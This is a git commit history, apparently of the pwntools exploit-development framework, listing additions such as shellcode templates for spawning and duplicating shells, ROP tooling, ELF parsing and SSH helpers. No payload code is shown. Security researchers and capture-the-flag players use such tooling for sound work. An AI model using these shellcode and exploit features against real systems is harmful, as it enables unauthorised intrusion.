Zach Riggle 3a139cff75 Filter a few things which should not spawn SSH commands 2014-08-04 01:14:36 -07:00
Zach Riggle 019c3b33db ssh.foo and ssh['foo'] were accidentally silcening output from commands (e.g. 'opening new channel', 'receiving all data') 2014-08-04 00:12:13 -07:00
Morten Brøns-Pedersen 338014f77b bugfix: default value for argument sock in pwnlib.shellcraft.i386.linux.dupsh() changed from None to 'ebp'. 2014-08-04 09:07:28 +02:00
Zach Riggle f9c3f64319 Fix typo 2014-08-03 23:56:43 -07:00
Zach Riggle 4690339b48 Add --vma-offset to asm.disasm() and ELF.disasm() helper to automate 2014-08-03 23:50:28 -07:00
Zach Riggle c558b53ffa Docs and small fixes 2014-08-03 23:13:25 -07:00
Zach Riggle 9324ef2af4 ROP rewritten to use new ELF stuff, and ropgadget/capstone 2014-08-03 23:13:25 -07:00
Morten Brøns-Pedersen b3ec35797c removed circular import in pwnlib.term.key/keymap 2014-08-04 02:11:12 +02:00
Morten Brøns-Pedersen 62dc5d0a39 removed accidental self-import 2014-08-04 02:11:12 +02:00
Mathias Svensson 97fe8e6491 Added ulimit -s unlimited to the places where we called ldd 2014-08-03 16:25:53 -07:00
Mathias Svensson 1ed9199a41 Fixed doctests 2014-08-03 16:25:02 -07:00
Mathias Svensson d61d1453fa Fixed mistake in the merge 2014-08-03 15:58:18 -07:00
Mathias Svensson 76485c6456 Merge branch 'zachriggle-ldd-universal' 2014-08-03 15:53:00 -07:00
Mathias Svensson b05017ee19 Merge branch 'ldd-universal' of https://github.com/zachriggle/pwntools into zachriggle-ldd-universal
Conflicts:
	pwnlib/tubes/ssh.py
2014-08-03 15:52:51 -07:00
Mathias Svensson eb06d4120c Merge branch 'zachriggle-ssh-easy-pwn2' 2014-08-03 15:13:40 -07:00
Mathias Svensson fcd7a013a6 Fixed up the ssh getattr/getitem a bit 2014-08-03 15:13:22 -07:00
Mathias Svensson ccd541fbe6 Merge branch 'ssh-easy-pwn2' of https://github.com/zachriggle/pwntools into zachriggle-ssh-easy-pwn2 2014-08-03 14:17:01 -07:00
Zach Riggle 8592c0b0de Implement #38 for pwn v2 2014-08-03 14:01:13 -07:00
Mathias Svensson 7b35fada6a Updated ssh_gdb to user port 0, so any free port is chosen. Also updated the example 2014-08-03 13:33:30 -07:00
Mathias Svensson 6f10e75c9b Updated remote_gdb_debugging.py example 2014-08-03 12:15:14 -07:00
Morten Brøns-Pedersen eaf1551a7f changed keyword argument non_writable to writable in pwnlib.elf.search(). also changed the default behaviour and updated the docstring 2014-08-03 20:55:02 +02:00
Mathias Svensson c7ef29b4c1 Another bug 2014-08-03 11:16:59 -07:00
Morten Brøns-Pedersen 13d5a4a090 introduced a lock in pwnlib.log to ensure that different logging messages don't get interleaved 2014-08-03 20:07:27 +02:00
Mathias Svensson 25bfae5e05 Fixed bug with the getattr of the listeners 2014-08-03 11:06:39 -07:00
Mathias Svensson 91f88daf8c Added gdb.ssh_gdb and fixed a few bugs, primarily with ctrl-c being ignored 2014-08-03 10:15:35 -07:00
Mathias Svensson d138174890 Made call to the constructors of the listeners non-blocking 2014-08-03 10:15:35 -07:00
Morten Brøns-Pedersen 85a5ceefb5 pwnlib.tubes.tube.clean_and_log() is now a no-op if the tube is not connected 2014-08-03 18:23:24 +02:00
Morten Brøns-Pedersen 7db0b6709f bugfix: when not in term_mode pwnlib.log.indented() mixed writing to sys.stdout and sys.stderr 2014-08-03 08:30:41 +02:00
Morten Brøns-Pedersen 88c957b3a4 updated/removed many examples 2014-08-03 08:29:47 +02:00
Morten Brøns-Pedersen 877388811d example: simple port forwarder 2014-08-03 07:12:29 +02:00
Morten Brøns-Pedersen 0bf988eb39 fixed typo in docstring for pwnlib.tubes.tube.connect_both() 2014-08-03 06:59:17 +02:00
Morten Brøns-Pedersen eb4199fdea updated docstrings for pwnlib.atexit.register() and pwnlib.atexception.register() 2014-08-03 06:54:25 +02:00
Morten Brøns-Pedersen 4573742522 pwnlib.atexception.register() and pwnlib.atexit.register() can now be used as decorators 2014-08-03 06:42:16 +02:00
Morten Brøns-Pedersen 43a46d34e9 added an example showing a use case for pwnlib.tubes.tube.clean_and_log 2014-08-03 05:46:24 +02:00
Morten Brøns-Pedersen 8a05319f58 added pwnlib.tubes.tube.clean_and_log() 2014-08-03 05:46:24 +02:00
Morten Brøns-Pedersen 1b5bfe89d9 added modules pwnlib.atexit and pwnlib.atexception 2014-08-03 05:46:24 +02:00
Mathias Svensson 1a9687a917 Added documentation for ssh forwards 2014-08-02 20:39:28 -07:00
Mathias Svensson 1bffb5a986 Fixed sh_string and its documentation a bit 2014-08-02 20:36:50 -07:00
Mathias Svensson 8b975b2fb7 Added support for ssh port forwards in both directions 2014-08-02 20:30:51 -07:00
Mathias Svensson 652e7b4e36 Merge branch 'zachriggle-ssh-working-dir' 2014-08-02 18:00:11 -07:00
Mathias Svensson 8afebd1c9e Fixed up the pull request a bit 2014-08-02 17:58:40 -07:00
Zach Riggle b126f02851 Newline at OEF 2014-08-02 17:58:40 -07:00
Zach Riggle 36c56143e1 Fix incorrect doc 2014-08-02 17:58:40 -07:00
Zach Riggle de67736650 Squelch output from bad working directories; set_working_directory shows a warning 2014-08-02 17:58:40 -07:00
Zach Riggle c66d1ffcf2 No need for old_wd now that we "cd foo;" vs "cd foo &&" 2014-08-02 17:58:40 -07:00
Zach Riggle 413ee34750 Permit wd= arguments for run and run_to_end 2014-08-02 17:58:40 -07:00
Zach Riggle f2b2cfcbfc Move prepending 'cd %r' into the ssh_channel after the command has been printed, to prevent cluttering the screen 2014-08-02 17:58:40 -07:00
Zach Riggle f95c7bf9c9 Introduce ssh.set_working_directory 2014-08-02 17:58:40 -07:00
Mathias Svensson fa0f221533 Fixed up the pull request a bit 2014-08-02 17:57:34 -07:00
Mathias Svensson 7086ab2c77 Merge branch 'ssh-working-dir' of https://github.com/zachriggle/pwntools into zachriggle-ssh-working-dir 2014-08-02 17:35:45 -07:00
IdolfHatler f94aed066f Merge pull request #54 from zachriggle/mindfuck
Add <> for tubes, fix typo
2014-08-02 17:22:53 -07:00
Mathias Svensson 60910fb161 Minor optimizations to the tubes module 2014-08-02 17:22:01 -07:00
Morten Brøns-Pedersen c287b098a9 changed command line option from NOINFO to SILENT 2014-08-03 01:19:22 +02:00
Zach Riggle 576c2fe739 Add <> for tubes, fix type 2014-08-02 16:04:25 -07:00
Mathias Svensson 7a5ba94447 Fixed listen and added connect_* methods to tubes 2014-08-02 14:58:03 -07:00
Zach Riggle 1466c2e470 Newline at OEF 2014-08-02 14:37:52 -07:00
Zach Riggle 8d6188d1c2 Fix incorrect doc 2014-08-02 14:36:39 -07:00
Zach Riggle ae851c53c0 Squelch output from bad working directories; set_working_directory shows a warning 2014-08-02 14:36:02 -07:00
Zach Riggle 347d5ff08f No need for old_wd now that we "cd foo;" vs "cd foo &&" 2014-08-02 14:33:30 -07:00
Zach Riggle da60af4729 Permit wd= arguments for run and run_to_end 2014-08-02 14:28:05 -07:00
Zach Riggle 377e43689b Move prepending 'cd %r' into the ssh_channel after the command has been printed, to prevent cluttering the screen 2014-08-02 14:23:47 -07:00
Zach Riggle 12a2954770 Introduce ssh.set_working_directory 2014-08-02 14:19:28 -07:00
IdolfHatler 713eee3085 Merge pull request #52 from zachriggle/patch-5
Typo
2014-08-02 14:10:42 -07:00
Mathias Svensson df6192bc15 Made _raw_sh_string from tubes.ssh public and put it into util.misc 2014-08-02 14:09:47 -07:00
Zach Riggle b0cb561b94 Typo 2014-08-02 17:02:25 -04:00
Zach Riggle 45dee58e23 Single point for ldd, male ELF.libs and SSH.libs return consistent output of {full local path: ldd address} 2014-08-02 12:51:35 -07:00
Mathias Svensson 5e4b0d7cc6 Fixed typo 2014-08-02 11:36:08 -07:00
Mathias Svensson a4b6e886ca Fixed #48 2014-08-02 11:21:25 -07:00
Mathias Svensson e7b2552b1e Better links on readthedocs 2014-08-02 10:30:58 -07:00
Mathias Svensson 9c950d66cd Some more readthedocs 2014-08-02 10:21:23 -07:00
Mathias Svensson 82b22629cd Fixed #46 2014-08-02 08:17:59 -07:00
Mathias Svensson 37a2ad91cd version bump to 2.1.3 -- I really should have included this in 2.1.2 2014-08-02 00:13:42 -07:00
Mathias Svensson e2540c9f80 More readthedocs testing 2014-08-02 00:10:33 -07:00
Mathias Svensson 914b94131e Added the file docs/requirements.txt as a test for readthedocs 2014-08-02 00:08:32 -07:00
Mathias Svensson eb38292c31 version bump to 2.1.2 2014-08-01 23:46:57 -07:00
Mathias Svensson 8e90ed06c8 Added README to the examples directory 2014-08-01 23:35:09 -07:00
Mathias Svensson 9807f0e120 Some pylinting 2014-08-01 23:04:00 -07:00
Mathias Svensson 1ed91a3667 Merge branch 'zachriggle-v2-elf' 2014-08-02 05:03:27 +02:00
Mathias Svensson 88d22014b5 Merge branch 'v2-elf' of https://github.com/zachriggle/pwntools into zachriggle-v2-elf
Conflicts:
	pwnlib/elf.py
2014-08-02 05:03:06 +02:00
Zach Riggle d55f10569b Additional documentation and doctests 2014-08-01 19:48:10 -07:00
Mathias Svensson 66db6eb3b9 Fixed #43 2014-08-02 03:27:52 +02:00
Mathias Svensson bb142c754f Merge branch 'zachriggle-v2-elf' 2014-08-02 02:11:18 +02:00
Mathias Svensson ae06ea7d56 Merged pull request 2014-08-02 02:10:35 +02:00
Mathias Svensson 6d62a1b979 Added ssh to toplevel 2014-08-02 02:00:13 +02:00
Mathias Svensson f38e8c7934 Added ssh to toplevel and fixed so that it now emulates xterm instead of vt100 2014-08-02 01:44:35 +02:00
Mathias Svensson a4305e5928 Added SSH module for tubes 2014-08-01 19:20:03 +02:00
Morten Brøns-Pedersen e4a6aac594 fixed off-by-one bug in pwnlib.term.term.render_cell() 2014-08-01 19:00:17 +02:00
Zach Riggle fffa749e28 Add execstack 2014-08-01 00:03:06 -07:00
Zach Riggle d6bc933759 Add three functions I hadn't reimplemented 2014-07-31 23:51:54 -07:00
Zach Riggle d80c0fc329 Pure-Python implementation of pwn.elf.ELF 2014-07-31 23:41:55 -07:00
Mathias Svensson 33065ff17a Added code from zachriggle's pull request #41 2014-08-01 07:46:37 +02:00
Mathias Svensson 9a0783e3db Fixed #40 2014-08-01 07:44:57 +02:00
Morten Brøns-Pedersen 528e2db39b added pwnlib.gdb to the docs 2014-07-31 14:31:49 +02:00
Morten Brøns-Pedersen b310e452fa docstring fix in pwnlib.gdb.attach(): added return value 2014-07-31 14:31:21 +02:00
Morten Brøns-Pedersen 5b11898b8d added documentation and some slight improvements to pwnlib.gdb.attach() 2014-07-31 14:15:02 +02:00
Morten Brøns-Pedersen 9653c20300 removed warning that only IPv4 is supported from docstring in pwnlib.util.proc.pidof 2014-07-31 14:04:45 +02:00
Morten Brøns-Pedersen 15a6540bca pwnlib.util.proc.pidof() now handles pwnlib.tubes.sock.sock objects rather than just pwnlib.tubes.remote.remote 2014-07-31 13:59:47 +02:00
Morten Brøns-Pedersen a0cc2d2304 bugfix: reverted bad import in pwn.toplevel 2014-07-30 22:38:26 +02:00
IdolfHatler c3125c7d15 Merge pull request #39 from zachriggle/patch-4
Documentation fix
2014-07-30 17:18:21 +02:00
Zach Riggle d97034f67b Documentation fix
![http://www.hdwallpapers.in/walls/why_so_serious-wide.jpg]
2014-07-30 10:40:22 -04:00
Morten Brøns-Pedersen 6ad0319ad7 added pwnlib.gdb to pwn toplevel 2014-07-30 15:55:23 +02:00
Morten Brøns-Pedersen 5d63390b0f added alpha version of pwnlib.gdb 2014-07-30 15:53:37 +02:00
Morten Brøns-Pedersen e77f6e8e04 added cmdline(), cwd() and pid_by_inode() to pwnlib.util.proc and added IPv6 support to pwnlib.util.proc.pidof() 2014-07-30 15:53:37 +02:00
Morten Brøns-Pedersen fa8b8cc7c1 added pwnlib.util.net to pwn toplevel 2014-07-30 15:53:37 +02:00
Morten Brøns-Pedersen a828642ce6 added pwnlib.util.misc.run_in_new_terminal() 2014-07-30 15:53:37 +02:00
Morten Brøns-Pedersen 3a27bfa23c slight optimization in pwnlib.util.splash.splash() 2014-07-30 15:53:37 +02:00
Mathias Svensson 683e94b447 Updated splash example 2014-07-30 12:47:13 +02:00
Morten Brøns-Pedersen ed5dec5397 cooler splash() "easteregg" 2014-07-30 11:24:37 +02:00
Mathias Svensson 208e4ac1d4 Alphabetical lists are better 2014-07-30 11:23:58 +02:00
Mathias Svensson 0e1fa51ad4 Updated README 2014-07-30 11:22:18 +02:00
Mathias Svensson 086972fc05 egg-files should not be committed! 2014-07-30 11:05:50 +02:00
Mathias Svensson 63a1762430 Updated .gitignore 2014-07-30 11:04:39 +02:00
Mathias Svensson a5bc72f179 Version bump and fixed some LICENSE.txt and setup.py issues 2014-07-30 11:02:05 +02:00
Mathias Svensson ce934a26e7 Updated the github links to use Gallopsled instead of pwnies 2014-07-30 09:54:36 +02:00
Mathias Svensson b6a0cbb641 Fixed some formatting issues in some shellcodes 2014-07-30 09:35:37 +02:00
Mathias Svensson 1083c4682c Documentation fix 2014-07-29 23:12:21 +02:00
Mathias Svensson e3d7ddac9d Fixed import ordering 2014-07-29 23:11:33 +02:00
Mathias Svensson e12be9308b Fixed bug in dup.asm 2014-07-29 22:54:13 +02:00
Mathias Svensson a0c2b06e44 Updated documentation and version handling a bit 2014-07-29 21:26:44 +02:00
Mathias Svensson 307386f1a8 Added a link to the documentation 2014-07-29 21:03:06 +02:00
Morten Brøns-Pedersen df76e03850 made pwnlib.util.splash.splash() better :D 2014-07-29 16:59:30 +02:00
Morten Brøns-Pedersen 8e9be618fc fixed docstring for pwnlib.ui.pause() 2014-07-29 16:58:26 +02:00
Morten Brøns-Pedersen 45b3b491af version bump to 2.1.0 2014-07-29 16:23:00 +02:00
Mathias Svensson fb2f569f00 Removed an unused gitignore file 2014-07-29 16:19:34 +02:00
Morten Brøns-Pedersen 75334398c3 updated docstring for pwnlib.util.misc.which() 2014-07-29 14:06:52 +02:00
Morten Brøns-Pedersen 64a7345a4d added "interfaces4" and "interfaces6" to __all__ in pwnlib.util.net 2014-07-29 14:02:50 +02:00
Morten Brøns-Pedersen e55715a6f2 removed pwnlib.util.misc.get_interfaces() but added module pwnlib.util.net instead; hopefully an improvement 2014-07-29 14:01:31 +02:00
Morten Brøns-Pedersen b1b10e01ca updated docstring for pwnlib.util.misc.which 2014-07-29 14:00:07 +02:00
Morten Brøns-Pedersen 2420ce9fb4 added pwnlib.util.misc.which 2014-07-29 11:04:38 +02:00
Morten Brøns-Pedersen 2f119f229e updated pwnlib.util.proc some and added documentation 2014-07-28 16:06:46 +02:00
Mathias Svensson 2c71dc9efc And comment the script 2014-07-28 14:17:01 +02:00
Mathias Svensson 9a64596cb2 Fixed up the argparsers for a few of the command line utilities 2014-07-28 14:10:52 +02:00
Mathias Svensson f58f7ff325 Added constgrep utility 2014-07-28 14:10:19 +02:00
Mathias Svensson cc8bb026c9 Updated the licenses of the project. TL;DR: We are still open source, but a few piece of pwntools might only distributable under GPL 2014-07-27 22:27:19 +02:00
Jonas Rudloff a5306fdcc8 bug fix so that asm is able to assemble to different archs 2014-07-27 13:11:54 +02:00
Mathias Svensson 24fbe0ba27 Fixed setup.py and shellcraft so it will not pre-generate the mako templates 2014-07-27 12:39:17 +02:00
Mathias Svensson 5f0ca44639 Made the setup.py work properly (I think) 2014-07-26 21:42:50 +02:00
Morten Brøns-Pedersen b63722eaf8 bugfix: tubes.sock.recv_raw should return empty string on errno.EINTR 2014-07-25 13:05:30 +02:00
Morten Brøns-Pedersen 018f633ee1 handle errno.EINTR in tubes.listen/sock 2014-07-25 13:00:22 +02:00
Mathias Svensson 211973e9ae Added a requirements.txt 2014-07-25 10:41:44 +02:00
Morten Brøns-Pedersen 7110aa3310 added packing.pack_many 2014-07-25 02:09:54 +02:00
Morten Brøns-Pedersen a77ecc70c2 made fiddling.rol/ror use context.word_size 2014-07-25 02:09:54 +02:00
Kristoffer Søholm aa73f5592c Another bugfix in recvpred 2014-07-24 23:59:40 +02:00
Kristoffer Søholm f1fece2749 Merge branch 'master' of github.com:pwnies/pwntools 2014-07-24 23:46:04 +02:00
Kristoffer Søholm 78443c4932 Fixed errors in recvpred 2014-07-24 23:45:59 +02:00
Mathias Svensson 94b61f0877 Added a setup.py 2014-07-24 23:43:54 +02:00
Morten Brøns-Pedersen 913208090c made fiddling.rol/ror use context.word_size 2014-07-25 01:37:26 +02:00
Morten Brøns-Pedersen 822e9ffaa1 corrected docstring typo in memleak.py 2014-07-25 01:31:10 +02:00
Morten Brøns-Pedersen e62748be59 bugfix: ui.options 2014-07-25 00:47:28 +02:00
Morten Brøns-Pedersen cfe50f9e01 handle KeyboardInterrupt in tube.interactive() 2014-07-25 00:28:54 +02:00
Kevin Joensen d10df79453 Updated dup, dupsh and findpeersh docstring 2014-07-24 22:26:24 +02:00
Kevin Joensen 8461f97e9e Added findpeer, findpeersh, dup and dupsh 2014-07-24 22:20:00 +02:00
Mathias Svensson 597e1df28f Fixed github url in docs 2014-07-24 21:05:28 +02:00
Mathias Svensson ccc8d2b91e Trying to get pwntools to build with readthedocs 2014-07-24 21:01:15 +02:00
Mathias Svensson 7216abbf08 Remember to use the log_level in tubes 2014-07-24 20:48:03 +02:00
Mathias Svensson 783bc782f4 Fixed c style arrays 2014-07-24 20:29:15 +02:00
Mathias Svensson d833fa41bf Fixed error messages 2014-07-24 20:27:40 +02:00
Kevin Joensen 60fd14804e Added acceptloop, both freebsd and linux 2014-07-24 19:26:39 +02:00
Mathias Svensson eeeffdd651 Added command line version of shellcraft 2014-07-24 19:25:53 +02:00
Mathias Svensson e306d1e1b6 Derp me in splash.py 2014-07-24 19:13:25 +02:00
Kevin Joensen 9451e0e4a7 Added stackhunter shellcode 2014-07-24 18:29:21 +02:00
Mathias Svensson e822ea2087 Fixed a few bugs in shellcraft 2014-07-24 17:03:05 +02:00
Mathias Svensson be8d86815b Reorgniazed imports a bit and optimized import time 2014-07-24 02:00:20 +02:00
Mathias Svensson 7cada14b3a How embarrasing 2014-07-24 01:20:07 +02:00
Mathias Svensson 4a5708ae1f Made shellcraft more flexible and slightly less hackish (while fixing a bug in __dir__) 2014-07-24 01:15:42 +02:00
Mathias Svensson 3540dd7b59 Replaced repr with %r where possible 2014-07-23 23:07:27 +02:00
IdolfHatler b150c233a9 Merge pull request #37 from zachriggle/patch-2
Enable 'string' output, clean up determination of arch/os and formatting
2014-07-23 22:56:00 +02:00
IdolfHatler dd1bbeb034 Merge pull request #35 from zachriggle/patch-1
Update cyclic for backward compatibility (-o flag)
2014-07-23 22:37:21 +02:00
IdolfHatler 40f362801e Merge pull request #36 from zachriggle/patch-3
Update disasm - no regex
2014-07-23 22:35:52 +02:00
Zach Riggle ef6ca1980b unhex 2014-07-23 13:29:47 -07:00
Zach 7e4b848f0b Update disasm 2014-07-23 16:24:10 -04:00
Zach c43afedea6 Enable 'string' output, clean up determination of arch/os and formatting 2014-07-23 16:14:37 -04:00
Zach 04910ef25c Update cyclic for backward compatibility (-o flag) 2014-07-23 15:36:54 -04:00
Mathias Svensson d3bb37852f Yet more linting 2014-07-19 00:32:15 +02:00
Mathias Svensson 9ed1502113 Some linting of elf.py 2014-07-18 17:06:38 +02:00
Mathias Svensson 14a46079cb Even MORE linting 2014-07-18 17:00:23 +02:00
Mathias Svensson 70788d78d1 More pylinting 2014-07-18 16:39:51 +02:00
Kristoffer Søholm 2cb77c7a29 Fixed merge conflict 2014-07-18 16:24:56 +02:00
Kristoffer Søholm 8252b6cd47 Ported ELF and DynELF modules, ELF should ideally be rewritten... 2014-07-18 16:21:15 +02:00
Mathias Svensson 918fa7ef05 And made the documentation reflect the refactoring 2014-07-18 16:16:45 +02:00
Mathias Svensson e883763272 Moved some stuff around based on pylint 2014-07-18 16:12:53 +02:00
Mathias Svensson df5ca58c6d More linting 2014-07-18 15:23:41 +02:00
Mathias Svensson fda836397d pylinted a bit more 2014-07-18 15:17:34 +02:00
Mathias Svensson 8ec353add9 pylint of dochelper.py 2014-07-18 15:09:02 +02:00
Mathias Svensson ca4cc5002c Removed unused import 2014-07-18 15:08:11 +02:00
Mathias Svensson a427f1cf7f Removed unused file 2014-07-18 15:07:36 +02:00
Mathias Svensson bdcf98323a Context is now working again. Plus som pylint on asm.py 2014-07-18 15:02:33 +02:00
Mathias Svensson 83838cf7f6 Removed unused file 2014-07-18 14:41:19 +02:00
Mathias Svensson f2deede195 Fixed assembler so all but one of the shellcodes in shellcraft will assemble 2014-07-18 00:03:47 +02:00
Mathias Svensson a798d11495 Added asm and disasm command line utilities 2014-07-17 23:19:17 +02:00
Mathias Svensson 30dcc34e9f Simplified imports for hex/unhex (and fixed a bug) 2014-07-17 23:18:37 +02:00
Mathias Svensson 7df55eabdd Simplified imports for cyclic 2014-07-17 23:18:11 +02:00
Mathias Svensson 0fb134039a It is silly to have stuff in context before we know what to use them for 2014-07-17 22:30:18 +02:00
Mathias Svensson 4a86a23ecd Made cpp, asm and disasm work with the new pwntools! 2014-07-17 22:22:24 +02:00
Mathias Svensson 0814e52f54 Removed error message based on non-existant dir (because git) 2014-07-17 22:21:52 +02:00
Mathias Svensson 62f0687dea Removed slight circular dependency 2014-07-17 22:21:17 +02:00
Mathias Svensson 1ea3b91f20 I am not particularly a fan of using SWIG for this use case 2014-07-17 18:20:48 +02:00
Mathias Svensson 7f4899257b On second thought, that gitignore was probably a bad idea 2014-07-17 15:04:43 +02:00
Mathias Svensson 5879912730 Moved constants generator and optimized a bit 2014-07-17 15:01:31 +02:00
Kristoffer Søholm 557a5d3681 Idolf er en nar, typo fixed 2014-07-17 13:10:32 +02:00
Mathias Svensson 235df706bf log.py bugfix 2014-07-17 13:08:20 +02:00
Mathias Svensson ed2507faa9 Added process to the tubes 2014-07-17 12:58:07 +02:00
Mathias Svensson d0bfbece72 Minor fixes for tube/sock 2014-07-17 12:58:07 +02:00
Mathias Svensson 090e8c45d3 Fixed shebang for hex and unhex 2014-07-17 12:58:07 +02:00
Kristoffer Søholm 77a404092f Merge branch 'pwn2' of github.com:pwnies/pwntools into pwn2 2014-07-17 12:42:46 +02:00
Kristoffer Søholm e68c9de1df Added preliminary constants module 2014-07-17 12:41:41 +02:00
Mathias Svensson 964605ece9 Better docstring for tubes 2014-07-17 10:51:18 +02:00
Mathias Svensson 06870f101e Fixed slight annoyance with listening udp sockets 2014-07-17 09:44:20 +02:00
Mathias Svensson 28a126de0a And now at works too! 2014-07-17 01:40:10 +02:00
Mathias Svensson ba25042932 Renamed pipes to tubes and increased usability a bit (especially for UDP sockets) 2014-07-17 01:34:51 +02:00
Mathias Svensson 5adc60079a Added pipes 2014-07-16 23:21:39 +02:00
Mathias Svensson 2b7c677557 Prepared log.py for pipes 2014-07-16 23:21:00 +02:00
Mathias Svensson 6f40f6b549 Allow timeout to be 0 2014-07-16 23:19:53 +02:00
Mathias Svensson a2bd295221 Set a default log_level 2014-07-16 23:19:30 +02:00
Mathias Svensson dc5ad45008 Make readline support float and priority 2014-07-16 23:17:50 +02:00
Mathias Svensson 201c25c91a Small hack to make term work for my use case. Should probably be fixed properly instead 2014-07-16 23:17:35 +02:00
Mathias Svensson deaccff75a Small log update -- the functions now support a log_level argument. Also prepared context modules for sockets 2014-07-16 14:11:24 +02:00
Mathias Svensson caeb18f7b0 Added the hex and unhex tools 2014-07-15 22:22:43 +02:00
Mathias Svensson dae058ae8b Added the cyclic command line tool 2014-07-15 22:15:15 +02:00
Mathias Svensson 75ce58ca4e When not in term mode, log functions should write to stderr 2014-07-15 22:14:58 +02:00
Mathias Svensson f258d53df9 Added more toplevel modules 2014-07-15 21:27:44 +02:00
Mathias Svensson 55d62d6c4a Added cyclic 2014-07-15 21:27:34 +02:00
Mathias Svensson 5bc41feaa8 Made the crc lib nicer 2014-07-15 19:51:32 +02:00
Mathias Svensson ca7e97567a Added crc sums 2014-07-15 18:35:01 +02:00
Mathias Svensson bf9463cf23 Added hashes library 2014-07-15 14:10:25 +02:00
Mathias Svensson 1d74eab9d9 Removed asm dependency on util.misc.{read,write} 2014-07-15 14:10:06 +02:00
Mathias Svensson a758506117 Some cleanup 2014-07-15 13:46:31 +02:00
Mathias Svensson 3912a7011f Fixed a documentation bug in safeeval 2014-07-14 23:32:23 +02:00
Mathias Svensson 508f46a90f Hopefully a race-condition fix that made the pause disappear 2014-07-14 23:31:41 +02:00
Mathias Svensson 212d35ec66 Remember safeeval 2014-07-14 23:31:14 +02:00
Mathias Svensson 4377c8a0c1 Also add it to toplevel 2014-07-14 23:09:42 +02:00
Mathias Svensson c1a24215a9 Added splash 2014-07-14 23:09:42 +02:00
Mathias Svensson 42eb7f7151 More documentation and more stuff ported 2014-07-14 23:09:42 +02:00
Jonas Rudloff a9ef3f2a9c incomplete remote support... 2014-07-14 19:17:27 +02:00
Mathias Svensson 7a7380b61e Updated lists documentation 2014-07-14 17:53:35 +02:00
Mathias Svensson 845aee9105 Removed iterator 2014-07-14 17:53:24 +02:00
Mathias Svensson 411c9163b0 More documentation (and ui.py) 2014-07-14 16:01:41 +02:00
Mathias Svensson c0f9dfb6d5 A lot more documentation 2014-07-14 11:43:22 +02:00
Mathias Svensson 7736666cdf Style of function declarations 2014-07-13 11:43:16 +02:00
Mathias Svensson f5bd162aaf Reduced uglyness and stuff 2014-07-12 20:21:12 +02:00
Morten Brøns-Pedersen 3b70331f1e bugfix: imports 2014-07-12 17:04:55 +02:00
Morten Brøns-Pedersen 82b6da01e4 moved pwn imports to toplevel.py 2014-07-12 17:04:55 +02:00
Morten Brøns-Pedersen bc35fd3fc0 removed trailing whitespace 2014-07-12 17:04:55 +02:00
Morten Brøns-Pedersen 4cc491e85d removed unused debug-code in stdout-wrapper 2014-07-12 17:04:55 +02:00
Morten Brøns-Pedersen cd06193f0d pwnlib.term now uses stdout 2014-07-12 17:04:55 +02:00
Morten Brøns-Pedersen e5d913c067 naming and imports 2014-07-12 17:04:55 +02:00
Mathias Svensson 24bd65b82c Better ASM syntax 2014-07-12 15:52:43 +02:00
Robert Larsen 934b1d9112 Fixed arm targets. 2014-06-17 10:42:09 +02:00
Robert Larsen ce17e10f7e Added processor specific targets. Also targets for arm. 2014-06-17 10:39:59 +02:00
Robert Larsen 122530b874 Begin by making tarkets 2014-06-17 10:25:55 +02:00
Robert Larsen f9e7437e26 Added script that tests all targets.
Build non PIE binaries.
2014-06-17 10:21:06 +02:00
Robert Larsen 13c2aae045 Fixed regression. 2014-06-16 22:51:38 +02:00
Jonas Rudloff e2c1460a78 fixed pushstr i386 shellcode 2014-06-13 14:15:40 +02:00
Mathias Svensson 77e967d793 Replaced our implementation of docstring_trim with inspect.clean 2014-06-13 13:47:08 +02:00
Mathias Svensson 6610f23436 Updated the way shellcode works a bit 2014-06-13 13:42:12 +02:00
Mathias Svensson 3e21424a8d Better docs! 2014-06-13 11:13:07 +02:00
DrDimon c5607924f3 Added getdents.asm, it needs mov.asm to work 2014-06-12 21:13:28 +02:00
Mathias Svensson 9e1b765bf7 Some more documentation hacks 2014-06-09 12:20:00 +02:00
Mathias Svensson 7d68cce5a0 Now with links to the source code! 2014-06-09 11:13:08 +02:00
Mathias Svensson e802243dcb No more auto-import of submodules... Let's see if this actually works out 2014-06-09 10:33:32 +02:00
Mathias Svensson 1bab27254f Ooops, debug print 2014-06-09 09:24:55 +02:00
Kristoffer Søholm ce4cd9eb9f Ported memleak module, added docs 2014-06-09 05:09:48 +02:00
Kristoffer Søholm 4bbd5e81fc Small fixes in util/binary 2014-06-09 03:59:43 +02:00
Kristoffer Søholm 5d30982a18 Updated __init__.py with convenience imports 2014-06-09 03:55:44 +02:00
Kristoffer Søholm e62119e23a asm.py added, still needs constant lookup 2014-06-09 03:53:10 +02:00
Kristoffer Søholm 3759af23a3 Added (untested) sh shellcode for i386 linux/freebsd 2014-06-09 02:24:18 +02:00
Mathias Svensson daf2839ac2 Docs now closer to working 2014-06-09 01:28:26 +02:00
Mathias Svensson 86f2f77452 Closer to having a functional replacement for the old pwntools. We now have the flat and p[0-8]+ functions. 2014-06-08 11:27:52 +02:00
Mathias Svensson 10fb4b3780 New pushstr 2014-06-06 17:13:59 +02:00
Mathias Svensson 63d23ada8f Import util into shellcraft 2014-06-06 15:36:59 +02:00
Mathias Svensson f95032204c NO SWAP FILES, PLZ 2014-06-06 15:36:59 +02:00
Jonas Rudloff 8be42f2b2c Added packing and unpacking of integers 2014-06-05 22:23:09 +02:00
Jonas Rudloff 6adc5920eb Context.py 2014-06-05 22:23:09 +02:00
Mathias Svensson 9b7027f449 Added mprotect_all shellcode 2014-06-05 20:24:46 +02:00
Jonas Rudloff 471fdc6324 Removed old install script 2014-06-05 19:09:27 +02:00
Mathias Svensson c51078515c And now the shellcraft and docs work too 2014-06-04 23:14:44 +02:00
Mathias Svensson c3a3ce7b88 A lot of renaming 2014-06-04 22:56:04 +02:00
Mathias Svensson 85f6556cee Bugfix :( 2014-06-03 12:48:06 +02:00
Mathias Svensson 5d00969220 Updated documentation 2014-06-03 12:40:59 +02:00
Mathias Svensson 7bab852d54 More documentation 2014-06-03 09:59:24 +02:00
Mathias Svensson 8bd607ceb7 Minor documentation fix and reordering of a bit of code in the context module 2014-06-03 09:02:35 +02:00
Mathias Svensson 7c4e86b968 Changed function to method in context.rst 2014-06-02 23:31:05 +02:00
Mathias Svensson 1d30ddc589 MEGA commit of DOOM (only pwn2 related, primarily docs and context) 2014-06-02 23:06:04 +02:00
Mathias Svensson a07e4bcec8 Added preliminary new version of shellcraft 2014-05-28 14:30:15 +02:00
Morten Brøns-Pedersen fd0efe8ffc changed context to be use attributes instead of a dict 2014-05-28 14:10:21 +02:00
Morten Brøns-Pedersen 36927f0dde removed __all__ from lib.util.__init__.py 2014-05-28 13:06:59 +02:00
